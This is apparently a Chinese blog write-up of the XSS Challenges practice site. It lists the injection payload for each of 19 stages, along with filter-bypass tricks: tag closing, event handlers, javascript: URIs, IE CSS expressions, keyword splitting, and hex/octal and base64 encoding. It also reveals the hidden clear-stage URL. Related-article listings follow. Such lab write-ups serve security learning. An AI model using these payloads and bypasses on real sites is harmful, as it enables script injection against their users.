XSS Challenges
 
XSS基础不好的建议优先查看
关于XSS中使用到的html编码 js编码各种场景用法
 
实在做不出来的时候可以看别人做题的笔记攻略:
 
 
 
stage#1
 
<img src=x onerror='alert(document.domain)'>
</b><script>alert(document.domain)</script><b>
 

Stage #2

Hint: close the current tag and add SCRIPT tag...
"><script>alert(document.domain);</script>
 
Stage #3 
使用bp改包把参数p2的值Japan替换为URL编码后的js代码
<script>alert(document.domain);</script>
%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E
 

Stage #4

通过抓包发现post请求多出来一个p3参数。原始值是hackme。我们把该参数值改为98765便于在输出的页面内进行搜索。
找到该参数的数值存放处后构造XSS代码
"><script>alert(document.domain);</script>
URL编码后替换掉p3的值
%22%3e%3cscript%3ealert(document.domain)%3b%3c%2fscript%3e
 

Stage #5

我们观察到P1参数的输入框限制了输入数值的长度,可以通过改包对长度限制进行突破
根据p1的value所在位置构造XSS代码
"><script>alert(document.domain);</script>
URL编码后替换掉p1的值
%22%3e%3cscript%3ealert(document.domain)%3b%3c%2fscript%3e
 

Stage #6

感觉和第五关类似结果同样的操作发现<>被进行了转译
此时我们就需要在不使用<>的情况下构造XSS代码
我们可以使用 input可以出发的一些时间来实现比如 onmouseover、onmouseenter、onclick、
" onmouseenter="alert(document.domain)"
%22+onmouseenter%3d%22alert(document.domain)%22
 

Stage #7

使用第六关的payload时发现onmouseenter的属性多包裹了一层""去掉即可
" onmouseenter=alert(document.domain)
%22+onmouseenter%3dalert(document.domain)
 

Stage #8

payload插入在a标签中使用JavaScript伪协议
javascript:alert(document.domain);
 
 

Stage #9

抓包发现多了一个charset参数,但是该参数值所在的input标签被隐藏
 
UTF-7编码 需要IE7环境很难实现 以后需要中心关注这一关 未实际完成
expression属性适用于IE6及以下
style='x:expression(alert(document.domain))'
 
热键触发
accesskey="X" onclick="alert(/waitalone.cn/)"
 
 

Stage #10

发现关键字domain被过滤,采用重复穿插双写绕过
" onmouseenter=alert(document.domdomainain)
%22+onmouseenter%3dalert(document.domdomainain)
 

Stage #11

Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
根据提示我们知道了 script on事件 style 都将被替换为非空字符串
 
其他地方遇到这种情况可以使用tab制表(%09)穿插在关键字内。
%09也就是tab制表符,使用在单个标签之内,会被浏览器`正确`去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。
后面测试发现%0a和%0d一样受到影响。
 
这里使用html5的换行符来代替制表符%09
"><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> 
//&NewLine;是html5的换行符
//&colon;是冒号
 
" o&NewLine;nmouseenter=alert(document.domain)   无效
" o%09nmouseenter=alert(document.domain) 无效
 
通过object data属性新建了一个html插入到原有网页内,无法获取到原有页面的属性值?
"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==">
PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg== 为下一行经过base64编码后的结果
<script>alert(document.domain);</script>
可以弹窗但是无法取得想要的结果
 

Stage #12

使用如下payload测试发现<>被过滤了
"><a href=javascript:alert(document.domain)>test</a> 
ahref=javascript:alert(document.domain)test/a
 
IE的特性可以使用·来代替 '"引号
`` onclick=alert(document.domain)
 

Stage #13

提示非常明显,通过CSS来弹窗
style='x:expression(alert(document.domain))'        这样会不停的触发所以还是加一个触发条件比较好
aa:expression(onmouseover=function(){alert(document.domain)})  
 
background-image:url("javascript:alert(document.domain)")
background:url("javascript:alert(document.domain);");
 
注意!!IE11已不支持expression
 

Stage #14

 
发现expression、JavaScript、url等被替换为XXX 那么使用注释等方法把expression关键字分隔开即可
 
aa:expre/*xss*/ssion(onmouseover=function(){alert(document.domain)})  
 
绕过正则有4种隔离关键字方式
\    
\0    
\**\    /**/
把字母转码证Unicode编码 例如e转码成 \u0065
 
本关卡 \0 和注释方式可行    
 
 

Stage #15

document.write();
 
我们发现输入的字符串会使用document.write();输出在页面上。这样就可以使用js8进制16进制进行编码来XSS。
 
payload:
<script>alert(document.domain)</script> js16进制编码 发现\被过滤 替换为\\ 为什么不用8进制呢。。 因为把\替换为\\比较繁琐,不如\x替换成\\x来的方便。当然啦实际操作的时候使用8进制更加简短,xss的时候字符串的长度很关键
\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e
 

Stage #16

Hint: "document.write();" and "s/\\x/\\\\x/ig;"
js16进制编码根据提示发现 \\x 被过滤 \被过滤 上次偷懒没有使用的js8进制可以排上用场了。
 
<script>alert(document.domain)</script>
\\74\\163\\143\\162\\151\\160\\164\\76\\141\\154\\145\\162\\164\\50\\144\\157\\143\\165\\155\\145\\156\\164\\56\\144\\157\\155\\141\\151\\156\\51\\74\\57\\163\\143\\162\\151\\160\\164\\76
以后这种情况要专门写一个小程序依次把 \1 \2 \3....\7 替换为\\1 .... \\7
 
 

Stage #17

 

Stage #18

 
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
 

Stage #19

 
 
Solution: It’s DOMXSS Twitter’s bug (24 Sept.2010) — #!javascript:alert(document.domain)
Clear Stage: Need to entry the ranking deobfuscating js on this part of the code:
ty = “”;
o = unescape(“foejoh”);
for (var i = 0; i < o.length; i++) {
var y = o.charCodeAt(i);
ty += String.fromCharCode(y – 1)
}
ty = escape(ty);
if (ty == “ending”) {
sj = “\062\060”;
alert(“Congratulations!! All Stages Clear!!!”);
alert(“\x52\x61\x6e\x6b\x49\x6e\x67” + sj + “.php”);
document.location = “\x52\x61\x6e\x6b\x49\x6e\x67” + sj + “.php”
} else {
document.all(“msg”).innerHTML = “<span id=’h3′>Congratulations!!</span> &nbsp; ” + “Next stage <a href=\”” + ty + “\”>” + ty + “</a>.”
}
so  “\x52\x61\x6e\x6b\x49\x6e\x67” + sj + “.php” is RankIng20.php :-)
Final URL that allow entry directly in the clear stage. http://xss-quiz.int21h.jp/RankIng20.php

XSS练习平台-XSS Challenges的更多相关文章

  1. 在线xss练习平台

    在线xss练习平台 HTTPS://ALF.NU/ALERT1 这个是只要能输出alert1就算赢. No.1第一个就很简单了,什么都没有过滤,只需要闭合前面的标签就可以执行xss了. 1 " ...

  2. 1.6 xss挑战平台练习

    ------------------------- XSS挑战之旅 ------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.x ...

  3. 搭建XSS测试平台

    XSS测试平台是测试XSS漏洞获取cookie并接收web页面的平台,XSS可以做js能做的所有事情,包括但不限于窃取cookie,后台增删文章.钓鱼.利用xss漏洞进行传播.修改网页代码.网站重定向 ...

  4. xss练习平台及writeup

    今天玩了一天的xss. 分享几个xss game https://xss.haozi.me/#/0x00 http://47.94.13.75/test/  writeup:http://www.cn ...

  5. 反射型xss绕过IE xss filter

    反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...

  6. XSS Attacks - Exploiting XSS Filter

    XSS Attacks - Exploiting XSS Filter mramydnei · 2015/12/21 10:11 from:http://l0.cm/xxn/ 0x00 前言 这又是一 ...

  7. (转) XSS Attacks – Exploiting XSS Filter

    中文翻译: from wooyun'drops 0x00 前言 这又是一篇来自全职赏金猎人Masato kinugawa的神作.一次双杀,用一篇报告拿下了两个CVE,分别是CVE-2015-6144和 ...

  8. xss小结-从xss平台搭建到csp规则

    0x00前言 xss是跨站脚本攻击,利用嵌入js代码达到‘控制’对方浏览器的作用,测试的时候我们是用alert(1)弹窗,而做CTF也好,实际中的漏洞利用也好一般是用xss获取管理员的cookie 0 ...

  9. DVWA1.9平台XSS小结

    LOW级别就不写了...... 直接上中高级别(结合源码更好理解) 1.XSS Reflected(Medium) 从源码中可以清楚的看到,输入的<script>标签被过滤掉了,看清了,只 ...

随机推荐

  1. encodeURI()、encodeURIComponent()、escape()

    URI的通用格式如下: /*** 协议://用户名:密码@子域名.域名.顶级域名:端口号/目录/文件名.文件后缀?参数1=值1&参数2=值2+值3#标志 **/ /*** http://use ...

  2. 【csp模拟赛1】铁路网络 (network.cpp)

    [题目描述] 在暑假来临之际,小 Z 的地理老师布置了一个暑假作业,让同学们暑假期间 了解一下 C 国的铁路发展史.小 Z 在多番查证资料后发现,C 国在铁路发展初期, 铁路网络有着一个严密规整的结构 ...

  3. JetBrains IDE 基本快捷键

    转载自:https://nextfe.com/jetbrains-ide-shortcuts/ 一个好的手艺人很熟悉他的工具.软件开发者也不例外.所以,在编程的过程中,值得了解一些键盘快捷键,以免因为 ...

  4. Flask-认识flask

    Python 现阶段三大主流Web框架 Django Tornado Flask 对比 百度百科 1.Django 主要特点是大而全,集成了很多组件,例如: Models Admin Form 等等, ...

  5. 8.7 JSON存储数据方式(JavaScript对象表示法)

    8.7 JSON存储数据方式(JavaScript对象表示法) JSON JavaScript 对象表示法(JavaScript Object Notation) 是一种存储数据的方式. 一.创建JS ...

  6. JAVA基础知识|HTTP协议-发展历程

    HTTP 是基于 TCP/IP 协议的应用层协议.它不涉及数据包(packet)传输,主要规定了客户端和服务器之间的通信格式,默认使用80端口. 此文章为转载内容:http://www.ruanyif ...

  7. 20191121-5 Scrum立会报告+燃尽图 01

    此作业要求参见https://edu.cnblogs.com/campus/nenu/2019fall/homework/10065 一.小组情况 组长:贺敬文组员:彭思雨 王志文 位军营 徐丽君队名 ...

  8. vlc命令行: 转码 流化 推流

    vlc命令行: 转码 流化 推流 写在命令行之前的话: VLC不仅仅可以通过界面进行播放,转码,流化,也可以通过命令行进行播放,转码和流化.还可以利用里面的SDK进行二次开发. vlc命令行使用方法: ...

  9. IPv4 ping命令

    IPv4 ping命令 一.Linux操作系统 给一台 Linux 主机分配了一个 IPv4 的 IP地址,如何使用 ping命令 确定该 IP地址 能否 ping 通呢? 1.查看主机的 IPv4 ...

  10. Linux md5sum 命令

    Linux md5sum 命令 通过 Linux 的 md5sum 命令,可以对指定的文件,计算出唯一的一个MD5值(128bit). 通过比较文件前后的MD5值,可以判断文件是否发生变化(是否被修改 ...